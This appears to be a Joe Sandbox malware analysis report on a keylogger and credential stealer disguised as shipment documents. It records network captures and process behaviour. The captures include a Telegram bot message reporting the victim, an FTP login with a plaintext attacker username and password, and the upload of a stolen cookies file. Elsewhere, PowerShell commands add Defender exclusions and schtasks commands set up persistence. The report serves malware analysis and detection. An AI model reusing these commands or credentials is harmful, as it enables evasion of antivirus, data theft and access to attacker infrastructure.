2024-10-11 07:35:31 UTC	701	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 07:35:31 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 12 Last-Modified: Fri, 11 Oct 2024 07:35:19 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v2cDRZvhueeJXe7LATkMfDon8clK42uWFOZK%2BZkwGbrEk%2FExiuBt1uQ5KK3D03njoGYiD9EGqHHLZZG5MiPWlAj3RcRZ9MKmwC60vWYUmwpoKNcvDdlmb0iwuBofPFvAMUmTiJHk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d0d2c85ab897cb2-EWR alt-svc: h3=":443"; ma=86400
2024-10-11 07:35:31 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-10-11 07:35:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49773	149.154.167.220	443	8136	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-11 07:35:32 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:301389%0D%0ADate%20and%20Time:%2011/10/2024%20/%2015:30:22%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20301389%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-11 07:35:32 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Fri, 11 Oct 2024 07:35:32 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-11 07:35:32 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

FTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 11, 2024 09:35:38.569251060 CEST	21	49204	185.230.141.85	192.168.2.4	220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 07:35. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 07:35. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 07:35. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 6 of 50 allowed.220-Local time is now 07:35. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.
Oct 11, 2024 09:35:38.569528103 CEST	49204	21	192.168.2.4	185.230.141.85	USER Soma@hulonqgroup.com
Oct 11, 2024 09:35:38.792526960 CEST	21	49204	185.230.141.85	192.168.2.4	331 User Soma@hulonqgroup.com OK. Password required
Oct 11, 2024 09:35:38.792690039 CEST	49204	21	192.168.2.4	185.230.141.85	PASS TNwhAkO^1&lZ
Oct 11, 2024 09:35:39.098913908 CEST	21	49204	185.230.141.85	192.168.2.4	230 OK. Current restricted directory is /
Oct 11, 2024 09:35:39.320677042 CEST	21	49204	185.230.141.85	192.168.2.4	504 Unknown command
Oct 11, 2024 09:35:39.320897102 CEST	49204	21	192.168.2.4	185.230.141.85	PWD
Oct 11, 2024 09:35:39.653044939 CEST	21	49204	185.230.141.85	192.168.2.4	257 "/" is your current location
Oct 11, 2024 09:35:39.653198004 CEST	49204	21	192.168.2.4	185.230.141.85	TYPE I
Oct 11, 2024 09:35:39.875978947 CEST	21	49204	185.230.141.85	192.168.2.4	200 TYPE is now 8-bit binary
Oct 11, 2024 09:35:39.876336098 CEST	49204	21	192.168.2.4	185.230.141.85	PASV
Oct 11, 2024 09:35:40.098352909 CEST	21	49204	185.230.141.85	192.168.2.4	227 Entering Passive Mode (185,230,141,85,194,29)
Oct 11, 2024 09:35:40.103816032 CEST	49204	21	192.168.2.4	185.230.141.85	STOR 301389 - Cookies ID - ZyiAEnXWZP1593367783.txt
Oct 11, 2024 09:35:40.712950945 CEST	21	49204	185.230.141.85	192.168.2.4	150 Accepted data connection
Oct 11, 2024 09:35:40.935658932 CEST	21	49204	185.230.141.85	192.168.2.4	226-File successfully transferred 226-File successfully transferred226 0.222 seconds (measured here), 29.88 Kbytes per second

Target ID:	0
Start time:	03:35:11
Start date:	11/10/2024
Path:	C:\Users\user\Desktop\rShipmentDocuments.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rShipmentDocuments.exe"
Imagebase:	0xeb0000
File size:	731'136 bytes
MD5 hash:	FF8C4AB4EC18F05864879323F4A41050
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1729453835.00000000043CD000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:35:13
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\rShipmentDocuments.exe"
Imagebase:	0x760000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:35:13
Start date:	11/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:35:13
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe"
Imagebase:	0x760000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:35:13
Start date:	11/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:35:13
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZOlmYtPdlO" /XML "C:\Users\user\AppData\Local\Temp\tmp44A0.tmp"
Imagebase:	0x380000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:35:13
Start date:	11/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:35:14
Start date:	11/10/2024
Path:	C:\Users\user\Desktop\rShipmentDocuments.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\rShipmentDocuments.exe"
Imagebase:	0x170000
File size:	731'136 bytes
MD5 hash:	FF8C4AB4EC18F05864879323F4A41050
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:35:14
Start date:	11/10/2024
Path:	C:\Users\user\Desktop\rShipmentDocuments.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rShipmentDocuments.exe"
Imagebase:	0x8b0000
File size:	731'136 bytes
MD5 hash:	FF8C4AB4EC18F05864879323F4A41050
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000009.00000002.4137543225.0000000002C11000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000009.00000002.4134245226.0000000000423000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.4137543225.0000000002D1A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000009.00000002.4134245226.0000000000434000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:35:14
Start date:	11/10/2024
Path:	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe
Imagebase:	0x350000
File size:	731'136 bytes
MD5 hash:	FF8C4AB4EC18F05864879323F4A41050
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000A.00000002.1768004359.000000000390E000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 29%, ReversingLabs Detection: 38%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:35:16
Start date:	11/10/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:35:17
Start date:	11/10/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZOlmYtPdlO" /XML "C:\Users\user\AppData\Local\Temp\tmp5356.tmp"
Imagebase:	0x380000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:35:17
Start date:	11/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:35:17
Start date:	11/10/2024
Path:	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe"
Imagebase:	0x410000
File size:	731'136 bytes
MD5 hash:	FF8C4AB4EC18F05864879323F4A41050
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:35:17
Start date:	11/10/2024
Path:	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe"
Imagebase:	0x190000
File size:	731'136 bytes
MD5 hash:	FF8C4AB4EC18F05864879323F4A41050
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	03:35:17
Start date:	11/10/2024
Path:	C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\ZOlmYtPdlO.exe"
Imagebase:	0xd20000
File size:	731'136 bytes
MD5 hash:	FF8C4AB4EC18F05864879323F4A41050
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000002.4137318627.000000000316B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000010.00000002.4137318627.0000000003061000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	59
Total number of Limit Nodes:	10

Executed Functions

Function 0177D4A9 Relevance: 6.1, APIs: 4, Instructions: 132
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0177D536
GetCurrentThread.KERNEL32 ref: 0177D573
GetCurrentProcess.KERNEL32 ref: 0177D5B0
GetCurrentThreadId.KERNEL32 ref: 0177D609

Memory Dump Source

Source File: 00000000.00000002.1727777768.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_rShipmentDocuments.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 991debcfd7a80be31a1e22bcee6d653f8496fce9f365985bce372796c34e0e2d
Instruction ID: b7c8d715b41d3b9b674588a4561f6de95e9611f90d5b8b55b268c314feef6acf
Opcode Fuzzy Hash: 991debcfd7a80be31a1e22bcee6d653f8496fce9f365985bce372796c34e0e2d
Instruction Fuzzy Hash: 7B5145B09043498FDB18DFA9D548B9EFFF1EF48314F248069E459A7260D7349984CF66

Function 0177D4B8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0177D536
GetCurrentThread.KERNEL32 ref: 0177D573
GetCurrentProcess.KERNEL32 ref: 0177D5B0
GetCurrentThreadId.KERNEL32 ref: 0177D609

Memory Dump Source

Source File: 00000000.00000002.1727777768.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_rShipmentDocuments.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: b7786682cb64cb9144fdc05fbde6f1451e7a7f3ee434ddef3bc57ee9cc75ba4a
Instruction ID: 34f3eabe0acbcdab9c7144d741a2403418c1497549ffa93bc55c05f0ba473951
Opcode Fuzzy Hash: b7786682cb64cb9144fdc05fbde6f1451e7a7f3ee434ddef3bc57ee9cc75ba4a
Instruction Fuzzy Hash: 245136B09003098FDB14DFA9D548B9EFBF1EF88314F208469E459A7360D7349984CF65

Function 0177B230 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0177B486

Memory Dump Source

Source File: 00000000.00000002.1727777768.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_rShipmentDocuments.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 369cda6af3dc7332b6b3191866c9d17d5fc55b314f6948abf0acb0c07b6843a2
Instruction ID: 3cd2b4351672a03cb2a4012209aa4e591c92e6888a85d4e25ac3251b5088d0e4
Opcode Fuzzy Hash: 369cda6af3dc7332b6b3191866c9d17d5fc55b314f6948abf0acb0c07b6843a2
Instruction Fuzzy Hash: 99812470A00B458FEB24DF69D44475AFBF1FF88304F048A29D48ADBA54D774E945CB91

Function 01774610 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 01775F01

Memory Dump Source

Source File: 00000000.00000002.1727777768.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_rShipmentDocuments.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 2c08a6bbba47e429a6b86f7887c70686e184fdfa7ffbc15c0f77bd124e32521b
Instruction ID: 4847947fe7dbce6eff704407e111219044a48c4804e662c5aeaf2bfaf694d1d0
Opcode Fuzzy Hash: 2c08a6bbba47e429a6b86f7887c70686e184fdfa7ffbc15c0f77bd124e32521b
Instruction Fuzzy Hash: 8341E0B0C0071DCEDB24CFA9C944B9DFBB5BF48304F2480AAE408AB255DB756985CF91

Function 01775E44 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 01775F01

Memory Dump Source

Source File: 00000000.00000002.1727777768.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_rShipmentDocuments.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: d555fc707ec5180125920b4849def1bb57b621a248fd5d78b9405e7260eb6eac
Instruction ID: 73bdb63cbce75b46d3c3e02fa01c5244e67819f07dfc22a116739303f778b2e6
Opcode Fuzzy Hash: d555fc707ec5180125920b4849def1bb57b621a248fd5d78b9405e7260eb6eac
Instruction Fuzzy Hash: 7A41DDB0C0071DCEDB24DFA9C94478DFBB5BF49304F2484AAE408AB265DBB56985CF91

Function 058D4590 Relevance: 1.6, APIs: 1, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,058D457D,?,?), ref: 058D462F

Memory Dump Source

Source File: 00000000.00000002.1731446096.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_rShipmentDocuments.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 7ced4229a7df59f0fa35decb13ab51b431d833beccd2519b5bfa810eadbbf194
Instruction ID: cff265fe613954620b7314055927acfe4577d67ed2d0fae302e7b92781b25667
Opcode Fuzzy Hash: 7ced4229a7df59f0fa35decb13ab51b431d833beccd2519b5bfa810eadbbf194
Instruction Fuzzy Hash: F431F1B59012499FDB10CF9AD884ADEFBF5FF58320F14842AE819A7320D775A944CFA0

Function 058D2F9C Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,058D457D,?,?), ref: 058D462F

Memory Dump Source

Source File: 00000000.00000002.1731446096.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_rShipmentDocuments.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 03ed62dfe71eb348ab148eb202b796292d6f3b10364eb3aa498ff780106661e0
Instruction ID: 6f6617c88bee9478484b6c68a8ba76e69bf2c554d258d1f9e71e482a140fa759
Opcode Fuzzy Hash: 03ed62dfe71eb348ab148eb202b796292d6f3b10364eb3aa498ff780106661e0
Instruction Fuzzy Hash: E531E2B59042099FDB10CF9AD884A9EFBF5FB48310F14842AE919A7220D775A944CFA4

Function 058D4553 Relevance: 1.6, APIs: 1, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,058D457D,?,?), ref: 058D462F

Memory Dump Source

Source File: 00000000.00000002.1731446096.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_rShipmentDocuments.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 83333fe992255c84a1b341537eb54680763a93fa7cfac28f277194cde1dfaf86
Instruction ID: 6d67d5b04bbeb56150fefd2216355960fb99ab24193450863829a2402fea6184
Opcode Fuzzy Hash: 83333fe992255c84a1b341537eb54680763a93fa7cfac28f277194cde1dfaf86
Instruction Fuzzy Hash: 372159B6900209AFDF11CF99D844ADEBBF5FF48320F18801AE919E7220C771D951CBA0

Function 0177D6F8 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0177D787

Memory Dump Source

Source File: 00000000.00000002.1727777768.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_rShipmentDocuments.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 2c50687c5f2d757fb570cc57354a70b8b7898a6b211833918568e04e96aac8a0
Instruction ID: 1539602acf51b1917a8688df35f30c0347738d1f2b80141d555f78f905b1d76a
Opcode Fuzzy Hash: 2c50687c5f2d757fb570cc57354a70b8b7898a6b211833918568e04e96aac8a0
Instruction Fuzzy Hash: 2721E5B5900258AFDB10CFAAD984ADEFFF5EF48310F14801AE914A7310D374A954CFA5

Function 0177D700 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0177D787

Memory Dump Source

Source File: 00000000.00000002.1727777768.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_rShipmentDocuments.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: eef7a6b018aca461ebabfbf33742f6928f1dcdb657ea819c90f3a57dd25513d2
Instruction ID: 5d0044c82024c6938109e0d53be6e9f652713cb1b4178dacc91fb8d3672c97be
Opcode Fuzzy Hash: eef7a6b018aca461ebabfbf33742f6928f1dcdb657ea819c90f3a57dd25513d2
Instruction Fuzzy Hash: 7D21C4B59002589FDB10CFAAD984ADEFFF5EB48310F14841AE958B7350D374A944CFA5

Function 0177B420 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0177B486

Memory Dump Source

Source File: 00000000.00000002.1727777768.0000000001770000.00000040.00000800.00020000.00000000.sdmp, Offset: 01770000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1770000_rShipmentDocuments.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 989fea11290ec9f1485d61ddaec973eeea2d995267b40fc49df8cecf0f4d3f40
Instruction ID: f69dac225875700baab5283291ea20ff72d7f91646ae40aaac05b4543131bbbf
Opcode Fuzzy Hash: 989fea11290ec9f1485d61ddaec973eeea2d995267b40fc49df8cecf0f4d3f40
Instruction Fuzzy Hash: 1911E0B5C003498FDB14DF9AC444ADEFBF4EB89324F10842AD559B7210C375A545CFA5

Function 0171D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727439582.000000000171D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0171D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_171d000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 28df0b5839419f8587d7e5ff6936605a1a3c0cb2cc3b6c0b2755c47f39dd4fea
Instruction ID: 88a822d771ad8935d7f089ae309f5e288252fdb2152c4484e094fdd691e20af3
Opcode Fuzzy Hash: 28df0b5839419f8587d7e5ff6936605a1a3c0cb2cc3b6c0b2755c47f39dd4fea
Instruction Fuzzy Hash: 9B2136B1140200DFDB25DF88D9C8B56FF65FB88314F20C1A9ED090B25AC336E446CAA1

Function 0171D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1727439582.000000000171D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0171D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_171d000_rShipmentDocuments.jbxd

Similarity

API ID:
String ID:
API String ID:
